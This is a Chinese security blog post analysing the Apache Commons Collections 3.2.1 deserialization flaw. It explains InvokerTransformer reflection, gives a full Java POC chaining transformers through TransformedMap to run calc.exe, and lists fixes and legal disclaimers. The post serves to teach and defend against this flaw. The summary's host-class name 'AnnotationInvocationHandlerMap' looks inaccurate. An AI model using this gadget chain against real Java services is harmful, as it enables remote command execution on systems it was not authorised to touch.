环境搭建
JDK版本为为1.8
引入commons-collections-3.2.1.jar包,具体引入方法为:
新建项目--在项目中新建lib文件夹----将commons-collections-3.2.1.jar包复制到lib文件夹中-----右键lib文件夹选择Add as Library……
分析
要实现序列化与反序列化目标对象要实现Serializable接口。
Apache Commons Collections中有一个特殊的接口,
其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
InvokerTransformer部分源码,可以看到其实现了Transformer和Serializable接口。
InvokerTranformer类中的transform方法,该方法使用反射进行函数调用
input参数是要反射的对象,iMethodName、iParamTypes分别是调用的方法名称和参数类型,iArgs是要调用的方法的参数。这三个参数都是可控的。
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) {
//让它依次调用Runtime --》getRuntime() --》exec()
Transformer[] transformers = new Transformer[]{
//首先需要ConstantTransformer获取Runtime类
new ConstantTransformer(Runtime.class),
//接着调用getMethod来定位查找getRuntime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
//反射调用getRuntime中的exec() invoke
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//将多个Transformer串联起来,依次执行Runtime --》getRuntime() --》exec() 便可序列化
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key","value");
//通过decorated将Map对象转换成另外一个Map对象
//第三个参数就是我们上面构造好的恶意代码链
Map outerMap = TransformedMap.decorate(innerMap,null,transformedChain);
//这时候如果后面的操作修改了转出来Map对象的outerMap值,就会ChainedTransformer内一系列InvokerTransformer,造成代码执行
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("test");
}
}
总结
Java反序列化漏洞的利用链主要由三个部分组成:
-
可以执行恶意代码的对象(在这个例子中即为Commons-collection中的Transformer类)。
-
一个被恶意对象“寄生的宿主”,通俗的来说就是,宿主对象反序列化的时候因为需要执行readObject方法,而readObject方法在可以被序列化的类中需要被重写,重写后的方法可能存在某些能够触发恶意对象执行的操作。
-
一个能够将恶意对象进行包装的类。在有的情况下恶意对象没有办法直接“寄生”在宿主上,这时候就需要一个类能够将恶意对象进行包装。
在这个例子中,恶意代码对象为Commons-collection中的Transformer类,这个类原本的设计是用来对类进行转换,而通过精心设计后能够通过这个类的transform方法实现命令执行。而被寄生的宿主为AnnotationInvocationHandlerMap类,通过其readObject方法能够触发漏洞。而AnnotationInvocationHandlerMap类中有一个Map类型的成员变量memberValues,Transformer类可以通过用Map类包装寄生在AnnotationInvocationHandlerMap类。
Transformer是一个接口类,需要实现一个transform方法,而transform方法的目的是将input object转换为一个output object,从而完成类型的转换。在整个调用过程中用到了三个实现Transformer的实现类:ConstantTransformer、InvokerTransformer、ChainedTransformer。
-
ConstantTransformer:无论输入什么类型都会返回一种初始化时定好的类型。
-
InvokerTransformer:将传入的类的某种方法(方法名和参数同样在初始化的时候设定好了)利用invoke进行调用。
-
ChainedTransformer:用于一系列的变换操作,只需要传入一个Transformer数组即可。
修复方法
-
避免使用不信任的数据进行反序列化。 -
对反序列化的数据进行严格的验证和过滤。 -
及时更新和修补存在漏洞的库和框架。
https://mp.weixin.qq.com/s?src=11×tamp=1730107862&ver=5594&signature=IZN-barwbOzfprmrfF36jPzLYeWE8ubaXn7Et-A0EbTiZ59I1-oisIA7PVHoR64z02mCY0MMm6cI2siWBTC*mFHj9INSpXtvetndiw4wW8vZ-f*JkC5DkE4IztxoD-bo&new=1
真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙、开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):Apache-Commons-Collections反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论